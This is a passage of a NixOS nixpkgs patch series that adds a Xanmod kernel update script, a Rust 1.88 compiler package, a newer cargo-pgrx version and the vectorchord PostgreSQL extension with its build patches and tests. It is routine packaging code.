 2 files changed, 93 insertions(+)
 create mode 100755 pkgs/os-specific/linux/kernel/update-xanmod.sh

diff --git a/pkgs/os-specific/linux/kernel/update-xanmod.sh b/pkgs/os-specific/linux/kernel/update-xanmod.sh
new file mode 100755
index 000000000000..fd786872fd3c
--- /dev/null
+++ b/pkgs/os-specific/linux/kernel/update-xanmod.sh
@@ -0,0 +1,86 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p bash nix-prefetch curl jq gawk gnused nixfmt-rfc-style
+
+set -euo pipefail
+
+SCRIPT_DIR="$(dirname "${BASH_SOURCE[0]}")"
+FILE_PATH="$SCRIPT_DIR/xanmod-kernels.nix"
+
+get_old_version() {
+    local file_path="$1"
+    local variant="$2"
+
+    grep -A 2 "$variant = {" "$file_path" | grep "version =" | cut -d '"' -f 2
+}
+
+VARIANT="${1:-lts}"
+OLD_VERSION=${UPDATE_NIX_OLD_VERSION:-$(get_old_version "$FILE_PATH" "$VARIANT")}
+
+RELEASES=$(curl --silent https://gitlab.com/api/v4/projects/xanmod%2Flinux/releases)
+
+# list of URLs. latest first, oldest last
+RELEASE_URLS=$(echo "$RELEASES" | jq '.[].assets.links.[0].name')
+
+while IFS= read -r url; do
+    # Get variant, version and suffix from url fields:
+    #                 8         9       NF
+    #                 |         |       |
+    # https://.../<variant>/<version>-<suffix>
+    release_variant=$(echo "$url" | awk -F'[/-]' '{print $8}')
+    release_version=$(echo "$url" | awk -F'[/-]' '{print $9}')
+
+    # either xanmod1 or xanmod2
+    suffix=$(echo "$url" | awk -F'[/-]' '{print $NF}')
+
+    if [[ "$release_variant" == "$VARIANT" ]]; then
+        if [[ "$release_version" == "$OLD_VERSION" ]]; then
+            echo "Xanmod $VARIANT is up-to-date: ${OLD_VERSION}"
+            exit 0
+        else
+            NEW_VERSION="$release_version"
+            SUFFIX="$suffix"
+            break
+        fi
+    fi
+done < <(echo "$RELEASE_URLS" | jq -r)
+
+echo "Updating Xanmod \"$VARIANT\" from $OLD_VERSION to $NEW_VERSION ($SUFFIX)"
+
+URL="https://gitlab.com/api/v4/projects/xanmod%2Flinux/repository/archive.tar.gz?sha=$NEW_VERSION-$SUFFIX"
+HASH="$(nix-prefetch fetchzip --quiet --url "$URL")"
+
+update_variant() {
+    local file_path="$1"
+    local variant="$2"
+    local new_version="$3"
+    local new_hash="$4"
+    local suffix="$5"
+
+    # ${variant} = {      <- range start
+    #   version = ...
+    #   hash = ...
+    #   suffix = ...
+    # };                  <- range end
+    range_start="^\s*$variant = {"
+    range_end="^\s*};"
+
+    # - Update the version and hash using sed range addresses
+    # - Remove suffix line, if it exists
+    sed -i -e "/$range_start/,/$range_end/ {
+        s|^\s*version = \".*\";|      version = \"$new_version\";|;
+        s|^\s*hash = \".*\";|      hash = \"$new_hash\";|;
+         /^\s*suffix = /d
+    }" "$file_path"
+
+    # Add suffix, if it's different than xanmod1 (the default)
+    if [[ "$suffix" != "xanmod1" ]]; then
+        sed -i -e "/$range_start/,/$range_end/ {
+            s|$range_end|      suffix = \"$suffix\";\n    };|;
+        }" "$file_path"
+    fi
+
+    # Apply proper formatting
+    nixfmt "$file_path"
+}
+
+update_variant "$FILE_PATH" "$VARIANT" "$NEW_VERSION" "$HASH" "$SUFFIX"
diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 065eceed4008..5b68f009e3d8 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -13,10 +13,12 @@ let
   # NOTE: When updating these, please also take a look at the changes done to
   # kernel config in the xanmod version commit
   variants = {
+    # ./update-xanmod.sh lts
     lts = {
       version = "6.12.40";
       hash = "sha256-L8wL47kD+lrnJsrp0B1MZ2Lg8zs+m1vQ24gPGuvxIA0=";
     };
+    # ./update-xanmod.sh main
     main = {
       version = "6.15.8";
       hash = "sha256-P4DpTS0RhvsgBrNDsZMiA1NvCQucuPmJ4GDyF9mZ7ZU=";
@@ -70,6 +72,11 @@ let
           RCU_EXP_KTHREAD = yes;
         };
 
+        extraPassthru.updateScript = [
+          ./update-xanmod.sh
+          variant
+        ];
+
         extraMeta = {
           branch = lib.versions.majorMinor version;
           maintainers = with lib.maintainers; [

From b5db1a3769bd00a6fdf385a73fea6daf0e6df418 Mon Sep 17 00:00:00 2001
From: Diogo Correia <me@diogotc.com>
Date: Tue, 29 Jul 2025 14:00:02 +0100
Subject: [PATCH 2990/4511] rust_1_88: init

---
 pkgs/development/compilers/rust/1_88.nix | 140 +++++++++++++++++++++++
 pkgs/top-level/all-packages.nix          |   4 +
 2 files changed, 144 insertions(+)
 create mode 100644 pkgs/development/compilers/rust/1_88.nix

diff --git a/pkgs/development/compilers/rust/1_88.nix b/pkgs/development/compilers/rust/1_88.nix
new file mode 100644
index 000000000000..fef90efe0927
--- /dev/null
+++ b/pkgs/development/compilers/rust/1_88.nix
@@ -0,0 +1,140 @@
+# New rust versions should first go to staging.
+# Things to check after updating:
+# 1. Rustc should produce rust binaries on x86_64-linux, aarch64-linux and x86_64-darwin:
+#    i.e. nix-shell -p fd or @GrahamcOfBorg build fd on github
+#    This testing can be also done by other volunteers as part of the pull
+#    request review, in case platforms cannot be covered.
+# 2. The LLVM version used for building should match with rust upstream.
+#    Check the version number in the src/llvm-project git submodule in:
+#    https://github.com/rust-lang/rust/blob/<version-tag>/.gitmodules
+
+{
+  stdenv,
+  lib,
+  newScope,
+  callPackage,
+  pkgsBuildTarget,
+  pkgsBuildBuild,
+  pkgsBuildHost,
+  pkgsHostTarget,
+  pkgsTargetTarget,
+  makeRustPlatform,
+  wrapRustcWith,
+  llvmPackages_20,
+  llvm_20,
+  wrapCCWith,
+  overrideCC,
+  fetchpatch,
+}@args:
+let
+  llvmSharedFor =
+    pkgSet:
+    pkgSet.llvmPackages_20.libllvm.override (
+      {
+        enableSharedLibraries = true;
+      }
+      // lib.optionalAttrs (stdenv.targetPlatform.useLLVM or false) {
+        # Force LLVM to compile using clang + LLVM libs when targeting pkgsLLVM
+        stdenv = pkgSet.stdenv.override {
+          allowedRequisites = null;
+          cc = pkgSet.pkgsBuildHost.llvmPackages_20.clangUseLLVM;
+        };
+      }
+    );
+in
+import ./default.nix
+  {
+    rustcVersion = "1.88.0";
+    rustcSha256 = "sha256-OpdURDSEiuPRk9HWvIPW8ky4XCYa2V+VX95H7GTPz74=";
+
+    llvmSharedForBuild = llvmSharedFor pkgsBuildBuild;
+    llvmSharedForHost = llvmSharedFor pkgsBuildHost;
+    llvmSharedForTarget = llvmSharedFor pkgsBuildTarget;
+
+    # For use at runtime
+    llvmShared = llvmSharedFor pkgsHostTarget;
+
+    # Expose llvmPackages used for rustc from rustc via passthru for LTO in Firefox
+    llvmPackages =
+      if (stdenv.targetPlatform.useLLVM or false) then
+        callPackage (
+          {
+            pkgs,
+            bootBintoolsNoLibc ? if stdenv.targetPlatform.linker == "lld" then null else pkgs.bintoolsNoLibc,
+            bootBintools ? if stdenv.targetPlatform.linker == "lld" then null else pkgs.bintools,
+          }:
+          let
+            llvmPackages = llvmPackages_20;
+
+            setStdenv =
+              pkg:
+              pkg.override {
+                stdenv = stdenv.override {
+                  allowedRequisites = null;
+                  cc = pkgsBuildHost.llvmPackages_20.clangUseLLVM;
+                };
+              };
+          in
+          rec {
+            inherit (llvmPackages) bintools;
+
+            libunwind = setStdenv llvmPackages.libunwind;
+            llvm = setStdenv llvmPackages.llvm;
+
+            libcxx = llvmPackages.libcxx.override {
+              stdenv = stdenv.override {
+                allowedRequisites = null;
+                cc = pkgsBuildHost.llvmPackages_20.clangNoLibcxx;
+                hostPlatform = stdenv.hostPlatform // {
+                  useLLVM = !stdenv.hostPlatform.isDarwin;
+                };
+              };
+              inherit libunwind;
+            };
+
+            clangUseLLVM = llvmPackages.clangUseLLVM.override { inherit libcxx; };
+
+            stdenv = overrideCC args.stdenv clangUseLLVM;
+          }
+        ) { }
+      else
+        llvmPackages_20;
+
+    # Note: the version MUST be the same version that we are building. Upstream
+    # ensures that each released compiler can compile itself:
+    # https://github.com/NixOS/nixpkgs/pull/351028#issuecomment-2438244363
+    bootstrapVersion = "1.88.0";
+
+    # fetch hashes by running `print-hashes.sh ${bootstrapVersion}`
+    bootstrapHashes = {
+      i686-unknown-linux-gnu = "987738444da172dc2d8c9ab93c6178f0000ced44a3089013839e5916755c4844";
+      x86_64-unknown-linux-gnu = "ad6f0cc845e7fcca17fd451bafd2c04a7bbcb543f8f3ef5bc412fd1fef99ef7b";
+      x86_64-unknown-linux-musl = "8bea28e71582d1bb29031ea2783a6cf2be626fdbcec24b5bca75c85b9b3ca92d";
+      arm-unknown-linux-gnueabihf = "cd269f3d53c286c0d0b0014947a4023d86698eac96b456ce746260ef21eec6af";
+      armv7-unknown-linux-gnueabihf = "718b8110c8f8ea40282b4a0e2efa09c4a91472eec45739f3b37ecc03f2b53954";
+      aarch64-unknown-linux-gnu = "dbc75abc31d142eacf15e60d0e51c4f291539974221d217b80786756b0ce1d6b";
+      aarch64-unknown-linux-musl = "9ccb8f16656d2d4e412553ebaf13489198b915519873752dcebb886de50063c6";
+      x86_64-apple-darwin = "b36b0bfac17e0a1f6cc06b9fdc4e2131ad578b4122a67792236b58650ae4c5c8";
+      aarch64-apple-darwin = "dee921b9a41b1c3fbb088ad31dcca3b232de2cb89c268db75f40912eeaa474db";
+      powerpc64-unknown-linux-gnu = "b56e903c6e4d661b6025d45b2675c31d513db207dbd85929c1a25473129275e3";
+      powerpc64le-unknown-linux-gnu = "e1f16b2885237695f3cce7fc2f0128a938fc07462b076cb61bd2f06e5f8baf38";
+      riscv64gc-unknown-linux-gnu = "6a72741671555fad7ffaceeaa32510c877438087ae71901ccf4a2b03a76c8439";
+      s390x-unknown-linux-gnu = "498ec8be66b2c6d8bc77dd06e226d3cc7448bc508ebb9f6d7650db79350d0cb7";
+      loongarch64-unknown-linux-gnu = "d4cb16ce9e2f04a7c44efe0abe5fc6cf2b9084f349fac042070882300719cbde";
+      loongarch64-unknown-linux-musl = "b9c0c6ca12312dbf8ab80571816fc68b615628ae4fdd0f204c11b71264550b87";
+      x86_64-unknown-freebsd = "961de5d723b034c1308d2b4a4d710fe006fb87bdbf914d045c01a5df87a0b332";
+    };
+
+    selectRustPackage = pkgs: pkgs.rust_1_88;
+  }
+
+  (
+    builtins.removeAttrs args [
+      "llvmPackages_20"
+      "llvm_20"
+      "wrapCCWith"
+      "overrideCC"
+      "pkgsHostTarget"
+      "fetchpatch"
+    ]
+  )
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index f794a0559d22..71acbb7c6207 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -6047,6 +6047,9 @@ with pkgs;
   rust_1_86 = callPackage ../development/compilers/rust/1_86.nix {
     llvm_19 = llvmPackages_19.libllvm;
   };
+  rust_1_88 = callPackage ../development/compilers/rust/1_88.nix {
+    llvm_20 = llvmPackages_20.libllvm;
+  };
   rust = rust_1_86;
 
   mrustc = callPackage ../development/compilers/mrustc { };
@@ -6056,6 +6059,7 @@ with pkgs;
   };
 
   rustPackages_1_86 = rust_1_86.packages.stable;
+  rustPackages_1_88 = rust_1_88.packages.stable;
   rustPackages = rustPackages_1_86;
 
   inherit (rustPackages)

From d9c435487945b687c956a0e10314036adda4950c Mon Sep 17 00:00:00 2001
From: Diogo Correia <me@diogotc.com>
Date: Fri, 30 May 2025 18:17:15 +0100
Subject: [PATCH 2991/4511] cargo-pgrx_0_14_1: init

(cherry picked from commit 136519ba0aae07001fad3508dc23ef5959cf9341)
---
 pkgs/development/tools/rust/cargo-pgrx/default.nix | 5 +++++
 pkgs/top-level/all-packages.nix                    | 1 +
 2 files changed, 6 insertions(+)

diff --git a/pkgs/development/tools/rust/cargo-pgrx/default.nix b/pkgs/development/tools/rust/cargo-pgrx/default.nix
index fdcdfee56a9a..71e415a4568d 100644
--- a/pkgs/development/tools/rust/cargo-pgrx/default.nix
+++ b/pkgs/development/tools/rust/cargo-pgrx/default.nix
@@ -76,4 +76,9 @@ in
     cargoHash = "sha256-pnMxWWfvr1/AEp8DvG4awig8zjdHizJHoZ5RJA8CL08=";
   };
 
+  cargo-pgrx_0_14_1 = generic {
+    version = "0.14.1";
+    hash = "sha256-oMToAhKkRiCyC8JYS0gmo/XX3QVcVtF5mUV0aQjd+p8=";
+    cargoHash = "sha256-RawGAQGtG2QVDCMbwjmUEaH6rDeRiBvvJsGCY8wySw0=";
+  };
 }
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 71acbb7c6207..6f84d93d489b 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -6105,6 +6105,7 @@ with pkgs;
     cargo-pgrx_0_12_0_alpha_1
     cargo-pgrx_0_12_5
     cargo-pgrx_0_12_6
+    cargo-pgrx_0_14_1
     ;
   cargo-pgrx = cargo-pgrx_0_12_6;
 

From 779a85d69d6c233ea08a208734ca1ce209b7c205 Mon Sep 17 00:00:00 2001
From: Diogo Correia <me@diogotc.com>
Date: Mon, 24 Mar 2025 13:04:31 +0000
Subject: [PATCH 2992/4511] postgresqlPackages.vectorchord: init at 0.4.2

(cherry picked from commit ab82f5a51158d05d8d713bfc6f4cbec0456f85eb)
---
 ...001-read-clang-flags-from-environment.diff |  29 ++++
 .../vectorchord/0002-add-feature-flags.diff   |  24 +++
 .../0003-select_unpredictable-on-bool.diff    |  65 ++++++++
 .../postgresql/ext/vectorchord/package.nix    | 148 ++++++++++++++++++
 4 files changed, 266 insertions(+)
 create mode 100644 pkgs/servers/sql/postgresql/ext/vectorchord/0001-read-clang-flags-from-environment.diff
 create mode 100644 pkgs/servers/sql/postgresql/ext/vectorchord/0002-add-feature-flags.diff
 create mode 100644 pkgs/servers/sql/postgresql/ext/vectorchord/0003-select_unpredictable-on-bool.diff
 create mode 100644 pkgs/servers/sql/postgresql/ext/vectorchord/package.nix

diff --git a/pkgs/servers/sql/postgresql/ext/vectorchord/0001-read-clang-flags-from-environment.diff b/pkgs/servers/sql/postgresql/ext/vectorchord/0001-read-clang-flags-from-environment.diff
new file mode 100644
index 000000000000..79b48513e29a
--- /dev/null
+++ b/pkgs/servers/sql/postgresql/ext/vectorchord/0001-read-clang-flags-from-environment.diff
@@ -0,0 +1,29 @@
+diff --git a/crates/simd/build.rs b/crates/simd/build.rs
+index 12ce198..aed5588 100644
+--- a/crates/simd/build.rs
++++ b/crates/simd/build.rs
+@@ -17,17 +17,24 @@ use std::error::Error;
+ 
+ fn main() -> Result<(), Box<dyn Error>> {
+     println!("cargo::rerun-if-changed=cshim");
++    println!("cargo:rerun-if-env-changed=BINDGEN_EXTRA_CLANG_ARGS");
+     let target_arch = var("CARGO_CFG_TARGET_ARCH")?;
+     match target_arch.as_str() {
+         "aarch64" => {
+             let mut build = cc::Build::new();
+             build.file("./cshim/aarch64.c");
++            build.compiler("@clang@");
++            // read env var set by rustPlatform.bindgenHook
++            build.try_flags_from_environment("BINDGEN_EXTRA_CLANG_ARGS").expect("the BINDGEN_EXTRA_CLANG_ARGS environment variable must be specified and UTF-8");
+             build.opt_level(3);
+             build.compile("simd_cshim");
+         }
+         "x86_64" => {
+             let mut build = cc::Build::new();
+             build.file("./cshim/x86_64.c");
++            build.compiler("@clang@");
++            // read env var set by rustPlatform.bindgenHook
++            build.try_flags_from_environment("BINDGEN_EXTRA_CLANG_ARGS").expect("the BINDGEN_EXTRA_CLANG_ARGS environment variable must be specified and UTF-8");
+             build.opt_level(3);
+             build.compile("simd_cshim");
+         }
diff --git a/pkgs/servers/sql/postgresql/ext/vectorchord/0002-add-feature-flags.diff b/pkgs/servers/sql/postgresql/ext/vectorchord/0002-add-feature-flags.diff
new file mode 100644
index 000000000000..5aca4dae6233
--- /dev/null
+++ b/pkgs/servers/sql/postgresql/ext/vectorchord/0002-add-feature-flags.diff
@@ -0,0 +1,24 @@
+diff --git a/crates/algorithm/src/lib.rs b/crates/algorithm/src/lib.rs
+index 853a280..f88acbf 100644
+--- a/crates/algorithm/src/lib.rs
++++ b/crates/algorithm/src/lib.rs
+@@ -13,6 +13,7 @@
+ // Copyright (c) 2025 TensorChord Inc.
+ 
+ #![feature(select_unpredictable)]
++#![feature(let_chains)]
+ #![allow(clippy::type_complexity)]
+ 
+ mod build;
+diff --git a/src/lib.rs b/src/lib.rs
+index 654b4d1..2b11d03 100644
+--- a/src/lib.rs
++++ b/src/lib.rs
+@@ -13,6 +13,7 @@
+ // Copyright (c) 2025 TensorChord Inc.
+ 
+ #![allow(unsafe_code)]
++#![feature(let_chains)]
+ 
+ mod datatype;
+ mod index;
diff --git a/pkgs/servers/sql/postgresql/ext/vectorchord/0003-select_unpredictable-on-bool.diff b/pkgs/servers/sql/postgresql/ext/vectorchord/0003-select_unpredictable-on-bool.diff
new file mode 100644
index 000000000000..3a0bdbf7121e
--- /dev/null
+++ b/pkgs/servers/sql/postgresql/ext/vectorchord/0003-select_unpredictable-on-bool.diff
@@ -0,0 +1,65 @@
+diff --git a/crates/algorithm/src/operator.rs b/crates/algorithm/src/operator.rs
+index 7de8d07..c496dcd 100644
+--- a/crates/algorithm/src/operator.rs
++++ b/crates/algorithm/src/operator.rs
+@@ -672,7 +672,7 @@ impl Operator for Op<VectOwned<f32>, L2> {
+                 use std::iter::zip;
+                 let dims = vector.dims();
+                 let t = zip(&code.1, centroid.slice())
+-                    .map(|(&sign, &num)| std::hint::select_unpredictable(sign, num, -num))
++                    .map(|(&sign, &num)| sign.select_unpredictable(num, -num))
+                     .sum::<f32>()
+                     / (dims as f32).sqrt();
+                 let sum_of_x_2 = code.0.dis_u_2;
+@@ -763,7 +763,7 @@ impl Operator for Op<VectOwned<f32>, Dot> {
+                 use std::iter::zip;
+                 let dims = vector.dims();
+                 let t = zip(&code.1, centroid.slice())
+-                    .map(|(&sign, &num)| std::hint::select_unpredictable(sign, num, -num))
++                    .map(|(&sign, &num)| sign.select_unpredictable(num, -num))
+                     .sum::<f32>()
+                     / (dims as f32).sqrt();
+                 let sum_of_x_2 = code.0.dis_u_2;
+@@ -854,7 +854,7 @@ impl Operator for Op<VectOwned<f16>, L2> {
+                 use std::iter::zip;
+                 let dims = vector.dims();
+                 let t = zip(&code.1, centroid.slice())
+-                    .map(|(&sign, &num)| std::hint::select_unpredictable(sign, num, -num).to_f32())
++                    .map(|(&sign, &num)| sign.select_unpredictable(num, -num).to_f32())
+                     .sum::<f32>()
+                     / (dims as f32).sqrt();
+                 let sum_of_x_2 = code.0.dis_u_2;
+@@ -945,7 +945,7 @@ impl Operator for Op<VectOwned<f16>, Dot> {
+                 use std::iter::zip;
+                 let dims = vector.dims();
+                 let t = zip(&code.1, centroid.slice())
+-                    .map(|(&sign, &num)| std::hint::select_unpredictable(sign, num, -num).to_f32())
++                    .map(|(&sign, &num)| sign.select_unpredictable(num, -num).to_f32())
+                     .sum::<f32>()
+                     / (dims as f32).sqrt();
+                 let sum_of_x_2 = code.0.dis_u_2;
+diff --git a/crates/simd/src/rotate.rs b/crates/simd/src/rotate.rs
+index 7a211e5..0fcd955 100644
+--- a/crates/simd/src/rotate.rs
++++ b/crates/simd/src/rotate.rs
+@@ -31,18 +31,17 @@ pub fn givens(lhs: &mut [f32], rhs: &mut [f32]) {
+ pub mod flip {
+     #[crate::multiversion("v4", "v3", "v2", "a2")]
+     pub fn flip(bits: &[u64; 1024], result: &mut [f32]) {
+-        use std::hint::select_unpredictable;
+         let result: &mut [u32] = unsafe { std::mem::transmute(result) };
+         let (slice, remainder) = result.as_chunks_mut::<64>();
+         let n = slice.len();
+         assert!(n <= 1024);
+         for i in 0..n {
+             for j in 0..64 {
+-                slice[i][j] ^= select_unpredictable((bits[i] & (1 << j)) != 0, 0x80000000, 0);
++                slice[i][j] ^= ((bits[i] & (1 << j)) != 0).select_unpredictable(0x80000000, 0);
+             }
+         }
+         for j in 0..remainder.len() {
+-            remainder[j] ^= select_unpredictable((bits[n] & (1 << j)) != 0, 0x80000000, 0);
++            remainder[j] ^= ((bits[n] & (1 << j)) != 0).select_unpredictable(0x80000000, 0);
+         }
+     }
+ }
diff --git a/pkgs/servers/sql/postgresql/ext/vectorchord/package.nix b/pkgs/servers/sql/postgresql/ext/vectorchord/package.nix
new file mode 100644
index 000000000000..09b5cc989ac9
--- /dev/null
+++ b/pkgs/servers/sql/postgresql/ext/vectorchord/package.nix
@@ -0,0 +1,148 @@
+{
+  buildPgrxExtension,
+  cargo-pgrx_0_14_1,
+  clang,
+  fetchFromGitHub,
+  lib,
+  nix-update-script,
+  postgresql,
+  postgresqlTestExtension,
+  replaceVars,
+  rust-jemalloc-sys,
+  rustPackages_1_88,
+  stdenv,
+}:
+let
+  buildPgrxExtension' = buildPgrxExtension.override {
+    # Upstream only works with a fixed version of cargo-pgrx for each release,
+    # so we're pinning it here to avoid future incompatibility.
+    cargo-pgrx = cargo-pgrx_0_14_1;
+    inherit (rustPackages_1_88) rustPlatform;
+  };
+
+  # Follow upstream and use rust-jemalloc-sys on linux aarch64 and x86_64
+  # Additionally, disable init exec TLS, since it causes issues with postgres.
+  # https://github.com/tensorchord/VectorChord/blob/0.4.2/Cargo.toml#L43-L44
+  useSystemJemalloc =
+    stdenv.hostPlatform.isLinux && (stdenv.hostPlatform.isAarch64 || stdenv.hostPlatform.isx86_64);
+  rust-jemalloc-sys' = (
+    rust-jemalloc-sys.override (old: {
+      jemalloc = old.jemalloc.override { disableInitExecTls = true; };
+    })
+  );
+in
+buildPgrxExtension' (finalAttrs: {
+  inherit postgresql;
+
+  pname = "vectorchord";
+  version = "0.4.2";
+
+  src = fetchFromGitHub {
+    owner = "tensorchord";
+    repo = "vectorchord";
+    tag = finalAttrs.version;
+    hash = "sha256-EdMuSNcWwCBsAY0e3d0WVug1KBWYWldvKStF6cf/uRs=";
+  };
+
+  patches = [
+    # Tell the `simd` crate to use the flags from the rust bindgen hook
+    (replaceVars ./0001-read-clang-flags-from-environment.diff {
+      clang = lib.getExe clang;
+    })
+    # Add feature flags needed for features not yet stabilised in rustc stable
+    ./0002-add-feature-flags.diff
+    # The select_predictable function has been moved from std::bool to std::hint before it has been stabilized.
+    # This move isn't present in rustc 1.87, but upstream is using nightly so they have already updated their code.
+    # This patch changes the code to use the function on std::bool instead.
+    # See https://github.com/rust-lang/rust/pull/139726
+    ./0003-select_unpredictable-on-bool.diff
+  ];
+
+  buildInputs = lib.optionals (useSystemJemalloc) [
+    rust-jemalloc-sys'
+  ];
+
+  useFetchCargoVendor = true;
+  cargoHash = "sha256-8NwfsJn5dnvog3fexzLmO3v7/3+L7xtv+PHWfCCWoHY=";
+
+  # Include upgrade scripts in the final package
+  # https://github.com/tensorchord/VectorChord/blob/0.4.2/crates/make/src/main.rs#L224
+  postInstall = ''
+    cp sql/upgrade/* $out/share/postgresql/extension/
+  '';
+
+  env = {
+    # Bypass rust nightly features not being available on rust stable
+    RUSTC_BOOTSTRAP = 1;
+  };
+
+  # This crate does not have the "pg_test" feature
+  usePgTestCheckFeature = false;
+
+  passthru = {
+    updateScript = nix-update-script { };
+
+    tests.extension = postgresqlTestExtension {
+      inherit (finalAttrs) finalPackage;
+      withPackages = [ "pgvector" ]; # vectorchord depends on pgvector at runtime
+      postgresqlExtraSettings = ''
+        shared_preload_libraries = 'vchord'
+      '';
+
+      sql = ''
+        CREATE EXTENSION vchord CASCADE;
+
+        CREATE TABLE items (id bigint PRIMARY KEY, embedding vector(3));
+        INSERT INTO items (id, embedding) VALUES
+        (1, '[1,2,4]'),
+        (2, '[1,2,5]'),
+        (3, '[0,0,3]'),
+        (4, '[0,0,2]'),
+        (5, '[0,0,1]');
+
+        CREATE INDEX ON items USING vchordrq (embedding vector_l2_ops) WITH (options = $$
+        residual_quantization = true
+        [build.internal]
+        lists = [4096]
+        spherical_centroids = false
+        $$);
+
+        SET vchordrq.probes = 1;
+      '';
+
+      asserts = [
+        {
+          query = "SELECT extversion FROM pg_extension WHERE extname = 'vchord'";
+          expected = "'${finalAttrs.version}'";
+          description = "Expected installed version to match the derivation's version";
+        }
+        {
+          query = "SELECT id FROM items WHERE embedding <-> '[1,2,3]' = 1";
+          expected = "1";
+          description = "Expected vector of row with ID=1 to have an euclidean distance from [1,2,3] of 1.";
+        }
+        {
+          query = "SELECT id FROM items WHERE embedding <-> '[1,2,3]' = 2";
+          expected = "2";
+          description = "Expected vector of row with ID=2 to have an euclidean distance from [1,2,3] of 2.";
+        }
+        {
+          query = "SELECT id FROM items ORDER BY embedding <-> '[2,3,7]' LIMIT 1";
+          expected = "2";
+          description = "Expected vector of row with ID=2 to be the closest to [2,3,7].";
+        }
+      ];
+    };
+  };
+
+  meta = {
+    changelog = "https://github.com/tensorchord/VectorChord/releases/tag/${finalAttrs.version}";
+    description = "Scalable, fast, and disk-friendly vector search in Postgres, the successor of pgvecto.rs";
+    homepage = "https://github.com/tensorchord/VectorChord";
+    license = lib.licenses.agpl3Only; # dual licensed with Elastic License v2 (ELv2)
+    maintainers = with lib.maintainers; [
+      diogotcorreia
+    ];
+    platforms = postgresql.meta.platforms;
+  };
+})

From c9946f9364e543afc79e06e291b617d8f843e81a Mon Sep 17 00:00:00 2001
From: nikolaiser <mail@nikolaiser.com>
Date: Wed, 16 Jul 2025 16:57:51 +0200
Subject: [PATCH 2993/4511] vectorchord: update for rust 1.88.0

(cherry picked from commit 6b5d556b4f6823062f362280969aba6b48f8549c)
---
 .../0003-select_unpredictable-on-bool.diff    | 65 -------------------
 .../postgresql/ext/vectorchord/package.nix    |  5 --
 2 files changed, 70 deletions(-)
 delete mode 100644 pkgs/servers/sql/postgresql/ext/vectorchord/0003-select_unpredictable-on-bool.diff

diff --git a/pkgs/servers/sql/postgresql/ext/vectorchord/0003-select_unpredictable-on-bool.diff b/pkgs/servers/sql/postgresql/ext/vectorchord/0003-select_unpredictable-on-bool.diff
deleted file mode 100644
index 3a0bdbf7121e..000000000000
--- a/pkgs/servers/sql/postgresql/ext/vectorchord/0003-select_unpredictable-on-bool.diff
+++ /dev/null
@@ -1,65 +0,0 @@
-diff --git a/crates/algorithm/src/operator.rs b/crates/algorithm/src/operator.rs
-index 7de8d07..c496dcd 100644
---- a/crates/algorithm/src/operator.rs
-+++ b/crates/algorithm/src/operator.rs
-@@ -672,7 +672,7 @@ impl Operator for Op<VectOwned<f32>, L2> {
-                 use std::iter::zip;
-                 let dims = vector.dims();
-                 let t = zip(&code.1, centroid.slice())
--                    .map(|(&sign, &num)| std::hint::select_unpredictable(sign, num, -num))
-+                    .map(|(&sign, &num)| sign.select_unpredictable(num, -num))
-                     .sum::<f32>()
-                     / (dims as f32).sqrt();
-                 let sum_of_x_2 = code.0.dis_u_2;
-@@ -763,7 +763,7 @@ impl Operator for Op<VectOwned<f32>, Dot> {
-                 use std::iter::zip;
-                 let dims = vector.dims();
-                 let t = zip(&code.1, centroid.slice())
--                    .map(|(&sign, &num)| std::hint::select_unpredictable(sign, num, -num))
-+                    .map(|(&sign, &num)| sign.select_unpredictable(num, -num))
-                     .sum::<f32>()
-                     / (dims as f32).sqrt();
-                 let sum_of_x_2 = code.0.dis_u_2;
-@@ -854,7 +854,7 @@ impl Operator for Op<VectOwned<f16>, L2> {
-                 use std::iter::zip;
-                 let dims = vector.dims();
-                 let t = zip(&code.1, centroid.slice())
--                    .map(|(&sign, &num)| std::hint::select_unpredictable(sign, num, -num).to_f32())
-+                    .map(|(&sign, &num)| sign.select_unpredictable(num, -num).to_f32())
-                     .sum::<f32>()
-                     / (dims as f32).sqrt();
-                 let sum_of_x_2 = code.0.dis_u_2;
-@@ -945,7 +945,7 @@ impl Operator for Op<VectOwned<f16>, Dot> {
-                 use std::iter::zip;
-                 let dims = vector.dims();
-                 let t = zip(&code.1, centroid.slice())
--                    .map(|(&sign, &num)| std::hint::select_unpredictable(sign, num, -num).to_f32())
-+                    .map(|(&sign, &num)| sign.select_unpredictable(num, -num).to_f32())
-                     .sum::<f32>()
-                     / (dims as f32).sqrt();
-                 let sum_of_x_2 = code.0.dis_u_2;
-diff --git a/crates/simd/src/rotate.rs b/crates/simd/src/rotate.rs
-index 7a211e5..0fcd955 100644
---- a/crates/simd/src/rotate.rs
-+++ b/crates/simd/src/rotate.rs
-@@ -31,18 +31,17 @@ pub fn givens(lhs: &mut [f32], rhs: &mut [f32]) {
- pub mod flip {
-     #[crate::multiversion("v4", "v3", "v2", "a2")]
-     pub fn flip(bits: &[u64; 1024], result: &mut [f32]) {
--        use std::hint::select_unpredictable;
-         let result: &mut [u32] = unsafe { std::mem::transmute(result) };
-         let (slice, remainder) = result.as_chunks_mut::<64>();
-         let n = slice.len();
-         assert!(n <= 1024);
-         for i in 0..n {
-             for j in 0..64 {
--                slice[i][j] ^= select_unpredictable((bits[i] & (1 << j)) != 0, 0x80000000, 0);
-+                slice[i][j] ^= ((bits[i] & (1 << j)) != 0).select_unpredictable(0x80000000, 0);
-             }
-         }
-         for j in 0..remainder.len() {
--            remainder[j] ^= select_unpredictable((bits[n] & (1 << j)) != 0, 0x80000000, 0);
-+            remainder[j] ^= ((bits[n] & (1 << j)) != 0).select_unpredictable(0x80000000, 0);
-         }
-     }
- }
diff --git a/pkgs/servers/sql/postgresql/ext/vectorchord/package.nix b/pkgs/servers/sql/postgresql/ext/vectorchord/package.nix
index 09b5cc989ac9..8b920a5e1257 100644
--- a/pkgs/servers/sql/postgresql/ext/vectorchord/package.nix
+++ b/pkgs/servers/sql/postgresql/ext/vectorchord/package.nix
@@ -51,11 +51,6 @@ buildPgrxExtension' (finalAttrs: {
     })
